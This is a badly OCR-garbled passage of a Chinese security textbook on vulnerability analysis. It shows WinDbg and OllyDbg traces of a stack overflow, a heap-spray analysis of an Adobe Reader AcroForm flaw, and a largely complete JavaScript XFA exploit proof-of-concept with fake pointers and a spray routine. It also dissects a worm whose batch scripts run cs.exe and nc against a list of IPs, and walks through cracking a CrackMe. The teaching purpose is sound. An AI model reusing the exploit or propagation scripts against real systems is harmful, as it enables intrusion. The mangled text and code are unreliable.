A LAEBIFR PR T, WinDbg# T iR, 1M H aide Mtk 261616161, WEkalf
ASCIIFY (HoNHERMEOLT) » XE—RARMWAFENE, HEH G ok POX B N
P LG E S A EPATRER, SETEFBb, WER-15FR.

(604 128): Access violation — code c0000005 (/1| second chance |11)
ear=61616161 ebz=7ffdf000 ecx=0012{£40 =d==00000000 esi=0042205d edi=0012ff7c
eip=61616161 esp=0012fec8 ebp=61616161 iopl=0

cs=001b ss=0023 ds=0023 es=0023 £{s=003b gs=0000
61616161 77 T

i a1 il 57 K2 XD

nv up 2i pl zr na pe nc
ef1=00000246

E8-15 12/ HiimMiA
AR IR EH BRI IE, SRR E () shellcode 8 i 70 E B2 WAFFE AT, IXTE
Windows XPRHE NI, {HZHATKZ ARG S IFGDEP, ASLRIXE N FHATIR
. HuhEBEALAL SRS, SSRILTE R B TR R AL T S Fhseid 77, L i iEROP
. FIHEREE S
XEAZGER . THREERTREN, WE8-168Txw.

0:000: dd e=p

0012fecS 61le6l6l1l61 61616161 61616161 61616161
0012fedf ccoccoccll coccocooooc CcoCCCOCC COCCCCCO
0012fesl rcocococcococ coocooooC COCCCOCOCOC CoCCCCCo
0012feff cocococcocococ cocccoocooc CoOCCCCCC COCCCCCC
0012f{f08 cococococooc cocoCCCC COCCCCCOC CoCCCoCoCs
0012££18 6161616l 61616161 61616161 Alelel6l
on1z2f£28 e6lelelel elelelel 6lelelel Alelelel
0012££38 616l6l6l 00000000 OOOOOOOOD OOODOOOOO
El8-16 7/ HiiRA R iER

it E8-16 R 8-150 LLE FIEBP, WMl 2K OB Sulol1616161, MRk
WIh B TTRERTZ30h I K /N, A4 BRI K /N Eebp-esp (BRR-HTi) il Z61616161-
0012fec8, #af)iHVEOAMIN T B P, XMRBHEEIRT .

T, AN CUIE R A B RO KSR RN R R Al R 10 FE, XA BLIE HURIR
AR AP R 2 BT IR TR E BUR R LR R R s s s, 238 D KB 12 2 m i ) =]
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WA SRR, WX AN NG EC ATV SR AR AR P ok g R “! heap-p-a” TR/ TUHE
FERNERE.

B e HOllyDbg T H, #ATHEFH HARE Fmain R EMA D i (LES-17)
BRI A — AN R 2 IR IR R 7 Ik SR B fh R i Z AT AN eR 3

goue18BA|| - BE 38204200 | mov esi,offset 80422038 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
004818BF || - 8D7D 98 lea edi,[ebp-68]

ooue10C2(| - F3:AS rep movs dword ptr [edi],dword ptr [esi]

084818C4|| - A4 mous byte ptr [edi],byte ptr [esi]

@p4se18C5 || - B9 OFOOAOBG mov ecx,BF

ofau@1BCA|| - 33CH ®OF Pax,eax

gaye18cc|| -  8D7D BD lea edi,[ebp-43]

004018CF (| . F3:AB rep stos dword ptr [edi]

0481601 || - G66:AB stos word ptr [edi]

pous1ep3|| - AR stos byte ptr [edi]

004010D4 || > B8 61000000 |Fmov eax,1

gg4@1809|| - 8B5CE test eax,eax

ap4e8180B || - 74 3% jz short 68481112

004016DD (| -  8D4D 98 lea ecx,[ebp-68]

BB4818EB|| - 51 push ecx

004010E1|| - E8 1FFFFFFF || call 08481805 Cv

OB4B10EG || - B3ChH o4 add esp,4

064618E9|| - 8945 FC mou duord ptr [ebp-&],eax

0O4B1BEC|| - 837D FC 00 cmp dword ptr [ebp-4],0

004B10F0O|| .. 74 OF je short 88481181

004%618F2 || - 68 3020%2600 push offset 88422838 ASCII “notm™
0B4810F7 || - ES 140208000 || call printf Cprintf
B04B18FC|| - S83C4 B4 add esp,b4

004010FF || -. EB OF inp short eeue111@

004011681} > 68 28204200 || push offset 00422028 ASCIT "ok!m”

E8-17 BFERICHENM
B Emainpf AN DX FARK — RPN ERAE, ERT LR UEIERER
004220384 PR A7 IIASCIESAE NEST, 352 24 4# FOllyDbg s AT LAZER: N & B4 IX — HaffE A
R R, T AR IS AT P M calIE 2RI AL R KOG R A, A XS T AlOR W Y A
Ja—ZEE, BAEXANRE T RRE—F (AES-18) .

00491023 || - 83EC AC sub esp,uC

. 53 push ebx

geu@1827|([ - 56 push esi

oose1028)) - 57 push edi

oo4e1029|| - 8D7D Bh lea edi,[ebp-4C]

ge4@102c|( - B9 138000808 mov ecx,13

0o461031|| - B8 CCCCCCCC |mov eax,CCCCCCCC

00401036\ - F3:AB rep stos dword ptr [edi]

00461038 |) - 68 1C204200 |push offset 0842261C ASCIT "1234567"
00401030 || - 8B4S B8 mov eax,dword ptr [ebp+8]

g0481048|| - 50 push eax

0o401041 || - E8 FAG10000 |call strcmp [strcmp
00461046|| . 83CL 68 add esp,8

00401049 (] - 8945 FC mov dword ptr [ebp-4],eax

Bou@16e4C || - 8BuD B8 mov ecx,dword ptr [ebp+8]

BO40104F (] - 51 push ecx

gese1658|| - 8D55 F4 lea edx,[ebp-8C]

oo4e1@853(| - 52 push edx

00481054 || - EB F7000000 |call strcpy [strcpy
00401059|| «+  83CL 68 add esp,8

A848185C|| . 8B4S FC mou_eax,dword ptr [ebp-4]

E8-18 EBFRILHEENM

AILLE R, strepy B EUE I push T ecx Redx, ecxM{H Z&ebpt8, MHEZ 1R EH S —4
24, B2 L& A\ faaaaaaaaaaaaaaa, FA FHledxHN Z2RATHIDIEAM T, XFEA]
U HZBLEFMITZ NG, Klstepy BN TN E, 0Ll FB K F R/ 5 AT
(BpaAay—B) A— AR R BB E AR, atitka b RAENRE—MRAM, ATLE
F| ki ebp I {H /£ 0012FECO, 11 24 LA 5 R B & /785 /5, 7T LA $lebp M 1H # 15 Uk
T61616161, XtHpitink T Ak H (HLES8-19) , X EH HEREH M5 SR [B] Huhl (%) (E 58 58
ST FRIF IS, WIBPATEPATIAZE, 1Boverflow$ZH (1) A 75 41 EI8-20FT 7 .
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RESRERAIER

TCIUU ULX

odLoad: 49010000 49096000 C;“WIHDOWS\system32-Msftedit .dll

{238 .698): Access violation - code 0000005 (!!! second chance |I11)
axslclclci8 ebx=00000001 ecx=0clclc2) edx=10242074 e=iwl10242074 edis047cdasd
ip=8888686888 e=p=0012deal ebp=0012dedc iopl=0 nv up ei pl zr na pe nc
=001b ===0023 ds=0023 es=0023 {==003b gs=0000 efl=00200246
38888888 7?7 ??7?

E8-22 PDFiRAMt&ZNF
XA R BEHE, WTLUE B B AT AL B 7E 88888888, L SLIX A R AR O & H B IR
T, eipBh¥E B —ANEAREKAATNE, FrCUETHE T« IULE T 500 ik R 5N it
i BUR e JEIRE S U
mE8-23T 7, M FE ERKIKIHHXR, MECHESHREIRE, tLmiiAHHB,
BIMAH TC, Ma “FER” Ai#IA—Z] KECO N ik 2£208a54e0, HWIinDbg & F % B iR
B amARAS, nE8-24fT 7.

0:000> kb

ChildEBP RetAddr Args to Child

VARNING:; Frame IP not in any known module, Following frames may be wrong
0012deSc 208aS54=0 00000001 8b015£09 00000001 0x88883388

0012dedc 208a59%be 0012df14 10241fd4 00000001 AcroForm!FPluglndain+Oxa3dlb2
0012df44 208a5538 0012df88 00000000 00000001 AcroForml|PluglnMain+O0xa3e90
0012df64 208a5488 0012d4f88 04aa4530 00000001 AcroForm!PlugInHain+Oxa320a
0012dfac 20cdcccl 0012dfed 04224530 00000001 AcroForm|Pluglndain+lxailSa

E8-23 PDFimiRfRE MR ER

i
18h

20825461 20400 ret
208a5464 6alsB push
20845466 b8ldisdd20 nov eax, of fset AcroForm!DllUnregisterServer+0xd2ctfd (20ddis1ld)
208a546b e808c9E51 1 call AcroForn+0x1d78 (20801478)

20825470 8bi9 AoV edi ecx

208a5472 89740 nov dvord ptr [ebp-10h].edi

20825475 ££7510 push dvord ptr [ebp+10h]

20825478 8365=c00 and dvord ptr [ebp-14h].0

208a547c ££750c push dvord ptr [ebp+0Ch]

208a547f 8d4Sde lea eax, [ebp-24h]

208a5482 50 push eax

208a5483 837000000 call AcroForn | PlugInMain+Oxa31f1 (208a551f)
20845488 85¢0 test SAX, 8axX

208a548a 7405 je heroForn | PlugInMain40xa3163 (208a5491)
208a548c 83c004 eax. 4

add
20825491 33cl xor eax, eax
20825493 8b30 ROV asi, dvord ptr [=ax]
et L - -

LT

T

je AcroFora|PluglnMain+0xa3l71 (208a549¢)

208a549c f14604 inc dvord ptr [esi4d]

208a549f c745edb82ceB20 mow dvord ptr [ebp-1Ch] offset AcroFora!DllUnregisterSsrver+lxddet
208a54a6 33db xor ebx. ebx

20825428 43 inc ebx

208a54a9% 3ddded lea ecx, [ebp-20h]

208a54ac 895dfc now dvord ptr [ebp-4].ebx

208a54af ef2e42£8f1 call AcroForn!PluginMain+0x273b4 (20829622)
208a54bd 8bTE44 nov edi . dvord ptr [edi+ddh)

208a54b7 85ff test edi, edi

208a54b% 7430 je AcroForn | Pluglndain+0xa3lbd (208a54eb)
208a54bb 837=4400 Cap dvord ptr [esi+ddh].0

208a54bf 740b je AeroFora | Pluglndain+0xa3l1%e (208aS4cc)
208a54cl £f£75£0 push dvord ptr [ebp-10h]

208a54cd dbdedd nov ecx.dvord ptr [esi+d4h]
PR =22 TerePorrrtrer ittt rrewc (20917482)
208a54ce ££4704 inc dvord ptr [edi+d]

208aS4cf 8bdedd nov ecx.dvord ptr [esi+ddh]

b TEST ECXTECY

208a54d4 740a j= hcroForn | PlugInMainsOxa3lb? (208aS54e0)
208a54de ££4904 dec dvord ptr [ecx+d]

FOTETTATTI0S T NPT TP TN ™+ 0xa31b2 (208a54e0)
208a54db 8b01 nowv eax, dvord ptr [ecx)

baigroen 1s g oLt —

208a54de ££10 call dvord ptr [eax]

FUTITTEDST T

208a54el 8bcf nov ecx.edi +

El8-24 PDFmEMAZRICHNIDSHT
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2R B N N B E IR, A T A @R, H— N fEE R R b
I FE, tnE8-25F 7.

call AcroForm!PluginMain+0xa31fl(eax) retumn eax
esi = [eax+4]

ecx = [esi+44h]= [eax+4+44h]

eax =[ecy] = [esi=44h] = [eax+4+44h]

call eax JfRiEIRL =
Bl8-25 PDFimiEAfh& T2
FH E18-25 1T LLE 23 T firk 4 19 J& [Al 8 7 F AcroForm! PlugInMain+0xa3 1 f13& [A] f]eax,

i ZRREGE, eaxtit 7. FARXANUE, FEE/Gcall eax IR FBEE 3] 7
88888888, UL LW MIL T . FIDA ProXn#ix 17 7E K AcroForm.api, #HIX
BUeR B th RS (ILIEI8-26)

int __stdcall sub_288A551F(int a1, int a2, int a3)

d sub 2B8A553F(a1, a2, a3, 8, 6);

| return at;
}

[#8-26 PDFimiEft% BHAES
Hsslik EmmiigiE ) AR HeaxE AN REE — NS HHHEAN, LA
R AT, B—ASHNYIRE, REH%E FERE, XANSEHENE T
Tsub 208A553F XA R —RIEIE. HTEEERA FTEMATE, FULELETFAK
RE 4T, EPMRBEEMRIBELI00/TALA, RASITEBREERAERT, HK
BhREH ot 2 A DI 3R, AR IX AN TEEN64 BytelI N, MER-27
PR,

w24 = x(_DWORD =*)({v22 + 4)-- == 1;
if ( v24 )
(**{void {__cdecl =xx){_DWORD, _DWORD))v22)(1
H
v25 = sub_2080940F (64);
= HOR DT T2 y——2s;
={ BYTE =*){al - 4) = 8;
if ( v2s == v? )
v26 = B;
else
v26 = sub_20829301(v7, al - 24, v7);
*#{_BYTE =){a1 - 4) = 6;
if ( v26 t= v? )
++%(_DWORD *){u26 + 4);
v27 = »{ DWORD =){al1 - 64);

E8-27 pdfifA&IEs=EAS R AHNRD
FATAT LUFIIDA Prof B 7 Bo = (A A A2, HSeX B AC4nE mT AE s it (LA
8-28) .

:-ua.a_g?z-u 6240

8E=3e8 U I
20825722 e8e83cfbeff call AcroForm! PluglnMain+0x70el (2080940f)
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El8-28 PDFimiEftAIEH D EFE SiLHKE

push 40h# 2 K 73 Bl N A7 25 18] ) K AME I Z 8 N, 40hHE e il ik 5 2 64,
1M K call i) B 2 SERUAH 24 T CHlEE 1 malloc, H A idmallocZ3) 2 7 BL 7 A .
BBz AR, KT, eax+4ENXATEE KRG AL HIRES Test, K5
esit44hIHES T ecx, MHSHXANMEENRIA/N G400, XHER T AFRIIEES, 3Tk
T i, S0 I AR Vi b 3 3K S B o (B3 P A 5 ik X AN vl B R A

FIFH el 3 2y SR L R, DA 2 RROPHEINAIE, i HLX AUl i ) A 3L 5K
WAEREE 5 — A A B SE L (R, LGSR SE I DEPHIASLRER S . 95 2 T A 51 3k
CHRE TSI ASLRIINRE, 1B & T Hoi& i e B iRt SR XA win A GeE
#5708 [fshellcode, 1fF) XA 4 H 2IIEH B i heap spray, thatR2ufmiEAR, kREH
CRINFEEEER T A (RE8-29) .

0c0c0c28 88 B8 88 88 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc  ....(
0c0c0c38 28 Dc 0c 0c 28 0c Oc Oc 28 Oc Oc Oc 28 Oc Oc O (...(...(...¢...
0cOcOc48 28 Oc Oc 0c 28 0c Oc O0c 28 0c Oc Oc 28 Oc Oc Oc (...(...(...(...
0c0c0cS58 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 00 OO0 00 OO (...(
0c0cOc68 00 00 00 00 00 00 00 00 OO 00 OC OO 00 OO OO0 OO ........ BRI i
0c0c0c78 00 00 00 00 00 00 OO0 00 00 00 00 OO 00 OO0 QO OO0  ................
0c0c0c88 00 00 00 00 Q00 OO0 OO0 00 OO0 OO0 OO OO O0 OO QOO0 OO . ...............
0c0c0c98 00 00 00 00 00 00 00 00 OD 00 00 OO OO0 OO OO OO . ...............
OcOcOca8 00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 00 0D OO ................
0cOcOcb8 00 00 00 00 00 00 00 00 OO0 00 00 OO 00 00 QO OO ................
0cOcOcc8 00 00 O0 OO 00 OO OO QO OO OO QOO QD OD OO QO OO ................
0c0c0cd8 00 00 00 00 00 00 00 00 OO 00 00 00 OO 0O 0O OO ... .............
0cOcOce8 00 00 00 00 00 00 OO 0O OO OO OO OO QD OO QO OO ................
0cO0cOcf® 00 00 00 00 00 OO OO QO OO OO OO OO QD OO QD OO ........ e
0c0c0d08 00 00 00 00 00 00 OO Q00D OO OO QOO OO 0D OO QO OO ................
0c0c0d18 00 00 00 00 00 00 OO0 00 28 Oc Oc Oc 01 00 QD OO ........
0c0c0d28 88 88 88 88 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc :
0c0c0d38 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc (...
0c0c0d48 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc (...
0c0c0dS58 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 0D OO OO OO (...(...(.......
0c0c0d68 00 00 00 00 00 00 00 00 OO0 00 00 OO 00 00 QO OO ... .. ...........
0c0c0478 00 00 00 00 00 00 OO0 00 OO0 00 0O OO 00 00 QO OO ................
0c0c0d488 00 00 00 OO0 00 OO0 OO0 0D OO OO QDD OD OD OO QO OO ................
0c0c0d98 00 00 00 00 00 00 00 00 OO0 00 00 00 OO 0O 0O OO ... .............
0cOcOdag8 00 00 00 00 00 00 OO0 00 OO 00 OO OO OO OO QO OO ........ B
0c0c0db8 00 00 00 OO0 00 00 OO QOO0 OO0 00 OO OD 0D OO0 QD OO ... ...vvvvrnnn
0c0c0dc8 00 00 00 00 00 00 00 00 OO 00 OO0 OO0 0D OO0 00 OO .............0.n
0c0c0dd8 00 00 00 00 00 OO OO0 00 OO OO0 OO OO OD OO QO OO ........ TO—
0cOcOde8 00 00 00 00 00 00 OO0 00 00 00 OO0 OO 00 00 Q0 OO ................
0c0c0d£8 00 00 00 00 00 00 OO0 00D OO0 00 OO OO 00 00 QO OO ... .............
0cOcO0e08 00 00 00 00 00 00 OO0 00 OO0 00 OO OO 00 OO0 QO OO ... .............
0cOc0e18 00 00 00 00 00 00 00 00 28 Oc Oc Oc 01 00 QO OO ........
OcOc0e28 88 B8 88 88 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc O ... .(
0cOc0e38 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 28 0c Oc O (...C...C...(...

(

(

0cOcO0=48 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc O0c 2B 0c Oc Oc (...(...(...(...
0c0c0=58 28 Oc Oc Oc 28 Oc Oc Oc 28 Oc Oc Oc 0D 00 00 DO (...

F8-29 PDFH#MIERF=EER

X B A AEPOCH A AL,  FA1H Ultra Edit¥T FFPOC.

var dataNodes = [];

var uilListNodes = [];

var choicelistNodes = []:
var contentAreas = [];
var strArray = [1;

var cntArea = 147;

var ggg;

var gFakePointer = 0x0c0c0c20;
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var gTargetEip = 0x88888888;

var padding = unescape ("%ubbbb") ;

while ( padding.length < (449*2+2*29*11) ) |padding += padding;
padding = padding.substring(0, (449%2+42%29%11)) ; }
function DWordToString( val ) {
return String.fromCharCode( val & OxFFFF ) + String.fromCharCode
( (val >> 1le6) & OXFFFF );

}

function HighWord( val ) {
return String.fromCharCocde( (val >> 16) & OxFFFF );

var contentAreas = [];

function AllocateContentArea( cnt ) {
var name = "contentArea";

for ( var 1 = 0; 1 < ent; i ++ ) {

contentAreas.push( xfa.template.createNode (name, "t") );

function AllocateDefectiveNodes ( fakePointor ) { var thunk =
DWordToString( fakePointor ); while (thunk.length <
(2R Rer e 2o e PR 2o per g 2s5 L 3 2)) ) CEloimle <= Clinmizs
AllocateContentArea ( (2%2*2*%¥2*2%2%2%2*2) ) ;
var lastWord = HighWord( fakePointor );
var dEFECTIVE = [];

for (var index = 0; index < 40; index++) {

dEFECTIVE.push ( thunk.substring( 0, ((47*2*7*5*2*2%2%2)
/ 2) - 3 ) + lastWord + padding ); }
AllocateContentArea( cntArea );
}
function Trigger( fakePointor ) {
AllocateDefectiveNodes ( fakePointor );
var node =

xfa.resolveNode ("xfa[0] .form[0] .forml [0] . #pageSet[0] .pagel[0].
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#subform[0] .field0O[0] . #ui™) ;
if ( node == undefined ) {
return false;
}
try {
node.one0fChild = choiceListNodes.pop();
}
catch (e) {
return false;
} return true;
}
function GO () {
app.alert('go");
for (var 1 = 0; i < 5; ++ 1) Trigger( gFakePointer ); }
function Start() { for (var index = 549; index >= 1; index——) {var node =
xfa.resolveNode ("xfa[0].form[0] .forml1l[O] .#pageSet[0].
pagel [0] .#subform[0] .field" + index.toString() + "[0].#uil[0]");
uilListNodes.push (node) ; var node =
xfa.resolveNode ("xfa[0].form[0].forml [0] .#pageSet[0] .pagel[0] .f#subform[0].
field" + index.toString() + "[0].#ui[0].#choiceList[0]"); choiceListNodes.
push (node) ; }

xfa.resolveNode ("xfa[0].form[0] .forml[0] .#subform[0] .rectl") .

keep.previous = "contentArea";
ggg = app-setTimeOut ("GO();"™, 500); }
var blocks = [];function Spray() {

var ZERO = DWordToString( 0 );

var pTargetEip = DWordToString( gFakePointer + 8 );

var blocksize = 0x400000 - 0x38;

var trunk = pTargetEip;

trunk += DWordToString( 0x00000001 ); //reference count
trunk += DWordToString( gTargetEip ); //control eip
while ( trunk.length < 0x44 / 2 ) trunk += pTargetEip;

trunk = trunk.substring( 0, 0x44 / 2 );
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trunk += ZERO; //[FakePointer + 0x48] = null

while ( trunk.length < 0x100 / 2 ) trunk += ZERO;
trunk = trunk.substring( 0, 0x100 / 2 );

while ( trunk.length < blocksize / 2 ) trunk += trunk;

for ( var 1 = 0; 1 < 30; ++ 1 ) {
blocks.push (trunk.substring (0, (blocksize/2)-2)+pTargetEip ):
}
//spray shellcode
/*
trunk = pTargetEip;
while ( trunk.length < 0x1000 ) trunk += trunk;

while ( trunk.length < blocksize / 2 ) trunk += trunk;
for ((var i = 0; 1 < 50; ++ 1 ) {
blocks.push (trunk.substring (0, (blocksize/2)-2)+pTargetEip ) ;
}
*/

}

EEGRNFIERT T HES AT, AA15 X WebBS A BT AT L E AT RES IR R, X2
JlJavaScript5e 1, TEN YA 2 K0 Ol T 2R MM AR kS8t ASLR, HiH 7 K
P A7 Bt S OcOc it 72t /2 il JavaScript 58 B 1 -

i, FERMRESRRER T, X RaES T RE ETRIRERK, &4
A A ER EAEREANR, W EXNMRREERZREZMTEARRNEKEH, s
XM, esitd4h i B TAHH AR, BOGERIEH AT LAEM E#ER—T.

8.2 i L ARILRN

8.2.1 ¥4 HHEFERh T ANEY

EHEEREUNBEERE T AN ERENE, AEHLCERTRAEA, s A
BT ST, BREETREBEE-BRAERYE, —EREFRAGREINEMER
exploite. HIFNRA —MERAEANERERZET A TAG, ERETHNE, X/HMTHA
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RESRERAER

AT, EHE M T 0day, HIFXAEEEREOdayE, TREERNETRAET
HRIE T T — T

THAUE R —AHEMAEN Mexe, AL HBERIIONyDbg L il — FHHREA R
F|FM, FEFANDHBEPushad, PSP PATILL Z G EHERE T, T2 5 %3
fEnse, MEIPEIDEEFE—T (MLES-30) .

BREMZT, B RUPXTE, WERUPXFREANAT LIRS SR TR, A
FRl7RERE T, BUPXEREZ S HHPEDN —FFF (WEB-3D .

ADO&: g w3 MRS EP B

praadi EEE: SRR BFE:

E2 e FRE:  Wind consold R TR

FraEmEEs + | rafiiaiEs] « |

ExmEmw) @FEeo] (®he | [ ZFe [ Es | ExsEse| ([@EEERo] (&6 | xFe | 8s

M SERH© —— RER) ¥ SER# © o T EEE] (2]
E8-30 PEIDERMEER E8-31 UPXREiFZ/EPEIDERIFR

EPELIME R code Bt FIUPXFE O IE W i, #5555 5 B OllyDbg H #i e kK ,
RIFFaGIE AN FE P R N A AR U T — 5624, HERroskibfE e 4 ik ok .

23t AT gL, T AR BIX AR BER G ECHE T — B — N B B d T
AR mpI X (LE8-32) , [FIBFEIET —AN4 401 batf A, ﬁ’f):””%iz”\ﬂiﬂlii
BT TR, FTFREMNBICHETHRENAREFEXNMHARNE (WES8-33) .

HitQ EQC:\Dnmmu and SettingsVAdeinistratorilocal Settings\Teapil. tap ~i @

n 1 - i
TRUTHRGES A ;-:-:..-.: st ;iv,.,v_r{
b

09 BER—TEIMR
Q EETIMRRNT

E8-32 [ B R TeIZaIMAE

P o1 Tot F =

THE RE® BAQ EFQW B
@echo off

cls

color ¢

title HESHAEEFNE FROBRaq:

/echo. & echo.

set /p var-HEZREHBRANE FENOHKRc-wmweee LT FHAED"
I1if “Zuarg'==" 520." Sstn end

lecho BEASHFBARN 00z - ™ -
\pause

goto start

‘zend

cls

echo 8 - = - {EFEe. R . FHIEHR
(@echo off
For /F %1 in (ips.txt) do (start 02.bat %%i)

E8-33 FREHERTHAXE
R E—TXAMAMRHNE, Hb%var% == "520."(0ifiE f) P R & 7 XMEF K3
%, in C(ips.txt) do (start 02.bat %%1) Ui ISR I G, B Xtips. xtF AR 47 TP
HihEHATO2 bathl A, BIZE D EATFF02 batfii A, HEHEMAKNE (HES-34) .
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FeE BEEASHRHELE

TEF) dEE) B0 EF #MEHEH
@Becho off
cs.exe %1

nc %1 4ahy
exit

E8-34 HRER 4R A902.batfii
MEI8-34T] LLFE RIX N ATER AT cs.exe LA, %12 ERZE, ncit &% WHncF ik
TH. HEHAS20%5, %%%E_"\Iﬂﬁﬁﬁfﬁﬁ( E8-35) .

E8-35 I EiBEE
2k, XAFTIERS THEE H SR SR T HR, FRME Zemm K4 7E20084EE
[FIMS08067 [flexploit, XM Pk T HILAEM _EREATT W, S es T MEEREA, 3
BH AT 20day .

8.2.2 MCrackMeZI¥ [ A iR A

CrackMe HoSG & — /M EfF, AHGEMNAZAMEM, W5 CrackMe AR HERTEF
T TREAE, AbATRIREECH TR B AR P e, el fech T HkER A TR R KT,
B R TE L T MR A CrackMe [ 34 SCAK . CrackMef#iCM, BFFECMERENR, £
WL F— g ix

BTk, JEL_RT A~ CrackMe fil i ik 72 09 73 By, IR0 X B e 5K () BEAE, 1%
CrackMe 1 FE8-36 T 71 o
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D o}

O BESRERANKE

E8-36 FBABEZiLiz&ZMAICrackme-160.chm
H 561247 K CrackMe, & MEHEKFIISEF.
E: X ACrackMe®tE £ A ST, E@ATHES TN, FTaFITLESHLGF
75, wE8-3TH T,

A CrackNe

—Registration Information

Enter I

Enter I

E8-37 EFFRE
ESCHPEDIE T, SRWES-38f7R.

7€ PEiD w0. 95

File: |Ci\Documents and Settings\MY\SZ B\Brad Soblesky.2.exe I
Entrypoink: FiUUEIlEI]U EP Section: | text il
File Offset: pDOODIEOD First Bytes: B5,8B,EC,6A | >
Linker Info: E.U Subsystem: Win32 GUI E

Microsoft Yisual C++ 6.0
| PMulti Scan I ‘ Task Viewer | Options | | About | | Exit |

¥ stay on top 2] =]
E8-38 PEIDEHLER

MER-38 A LLE S, XE—1EARNIER, HVCH 6.04%1%.

HRER BN S BRI AT rl LU B ODEA

AR TR R T EIR S, KB 2T .

1. BEXRSEFHE (LES-39)

[ XAFHESERT Brad Sob:. text =13
RiCR IEFH =
00401304 | push Brad_Sob. 00402052 AsCIT “As@"
004O14EL  push Brad_Sob.0040208F ASCII ’is
08401570 | push Brad_Sob. 00404020 ASCIT “Crackte*
80401582 | push Brad_Sob.B0LbLe28 ASCII "User Hame must have at least 5 characters.™
8048161E | push Brad_Sob.Bo4p4a54 ASCIT "%1lu™
00401669 | mov esi,Brad Sob.00404058 ASCII “Correct??
AL A168E [mov esi,Brad_Sob.004B84078 ASCIT “<BrD-SoB>
B04B16B3 | mov esi,Brad_Sob.D0u04B98 ASCIT "Incorrect®t, Try Again."
00401601 | mov esi,Brad_Sob. 00404080 ASCIT “Correct way to go, You Got It.”
804016F3 | push Brad_Sob. 08404808 ASCII “CrackHe*
804681765 | push Brad_Sob.B804B46D8 ASCII “CrackHe™
BO4A1E1D|Sub esp,Bx68 (#1138 cPu #%&3F)
00401F75 | push Ox10000 UNICODE "=:z=:z:\"
v

F8-39 EHESEZTH
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MEIB-39T] LAFF FI| “User Name must have at least 5 characters.” “Correcrt way to go,
You Get It.” “Correct!” X JULANLB AT EEM) F1F 8, XHEEAN T AR ] L EREE i — T

AR B SCRBL AL E, XEAHER.
ATl s, WEFS S KA AEIX I, T EI8-40fT 7N

FeE BEEASHRHLS

i

]

s

ik |HEx $59E
20481509 |, E? F9@10080
@0nE15BE C7u5 EG 0008001
Bo%E1505 (. EB B9
a04815C7 | +8B55 EB6
aone1sCn 23c2 oM
@oLHSCD 8055 ER
04508 8B45 EB6
a05E1503 3045 E4
BOLOISDG (.| D 42
HOLEMS08| [ 8BUD EG
a0%e1508 51
aoLE1500 804D EC
BOLEISDF | | ER 1CE300808
[ L LYy b=y BFBEDB
OBLE15C7 | | BO45 FE
sone15ER |3c2
WORINSEG| | B945 FO
BOLO1SEF | | 8B4D EB
aonE1sr2 C1CE1 ea
@0LE15FS 8855 F@
L1 ] 330
aone15rA 8955 F@
aonE15FD 8B45 EG6
AanLM1608 83CA M
00401603 8Bu4D E4
B0LE1606 BFAF4D EB
aono160n F701

L1 LT BFAFCT
a0LE160F 8855 FE
aane1612 BFAFDB
ABLE1615| | 8955 FE
20481618 |~ -EB AD

add edx,8:1

push ecx

add eax,edx

shl ecx,Bx9
mou edx , duwo
XOF eOX.BCX
mov dword p
mov eax,dwo
add eax, 81
nou ecx,dwo

not ecx
imul eax.ec

imul edx,ea

lea ecx,dword

moy duord pry
noy ecx,dword

rd

tr
rd

rd

X

%

jmp Brad_Sob.e84%817B7

mov duvord ptr cc:[ebp-Bw28],0x0
imp short Brad_Sob.Be4ye1s00
mov edx,dword ptr ssi[ebp-0x28]

mou duvord ptr ss:[ebp-Ax28],edx
mov eax,dword ptr ss:[ebp-0x20]
cnp eax,dword ptr ss:i[ebp-0x1C]
jge short Brad_Sob . 00hB1614

mou ecx, dword

ptr ss:[ebp-0x24d]

ptr ss:[ebp-0x14]

call Brad_Soh_60ud1968
mousx edx,al
mov eax,dword

ptr ss:i[ebp-0x18]

ss:[ehp-Gx1A],Pax
pLr ss:[enp-8x28]

ptr scz[ebp-0x16]

ssi[ebp-Bx10] ,edx
ptr sci[ebp-0x28]

pLr ss:[ebp-0x1C]

imul ecx,dword ptr ss:[ebp-0x28]

mov edx,dword pbtr ssi[ebp-0x18]

mou duord ptr ss:[ehp-Bx18] edx
jmp short Brad Sob.0euei5c7

|

2. API#T &

2R ff ] GetDlgltemTextA. GetMessageA. GetMessageWZAPI, BEHA—
name, H.i7Check¥GHE, FEFRINTEGetMessageAUbi T . A5 IECul+FOZ AR [Al, &
FFE P AR RS, R S REAETR 4, B A KA ST T AR R & 1

C(ILER-41) .

BILETR

R

E8-40 mICHRE ( F5ISiHEARS )

il s B8

HAXE

0012F6CH
B012F6C8
0012F6CC
0012F6D 0
8812F6DC

73D8DACS
oaeaB150
00383A38
0oe0000e9
08401556

]

?

user32.GetWindouwTextA

hind = 0888AB150 (class="Edit’,par
Buffer = 0P383A38

Count = Bx9

<jmp .&HFC42 . #3697>

mfck2 . 73D8DABF

Brad_Sob. 88481551

7R 53

RaE--427R .

88481D7E
88481084
06401D8A
00401090

AALKAINNA

FF25 48314800 | jnp dword ptr ds:[<&HFCAH2.
FF25 4G314800 |jmp dword ptr ds:[<&HFCAHZ.
FF25 58314000 | jnp duord ptr ds:[<&HFCA2.
FF25 54314000 |jmp duord

CC72C COo249hAQRA dmn duned nte de=T/7PHEM LD

E8-42 MRERLED

E8-41
ME8-41ha] DL FIF2E A0 2S I i B AR G sR B ik 500401556, XUHERA, 45

ptr ds:[<&HFCA2.

P AHEREDO

128183 ]
#422153 ]
#3097>]
1537>]

#4440

159

nFch2 . #2818
mfch2 #4224
nfck2 #3097
mnFch2 #537

mErh? HA41L0

i

/e



1§§§&n1%§5§éﬁﬁﬁﬁ_

MEIS-42th AT LL R I 4w 1 2% B HIMAPIIIA 1, TR LA&Cul+RA & E A HH
KBS SE (ILESR-43) .

: 7 Brad_Sob e X DD4A01D8A 0
ik |RiCR fhisies ~
004681551 [ call <jmp.&HFCL2 _H#3097> =
00481565 | call <jmp.&HFCL2 _#3097>
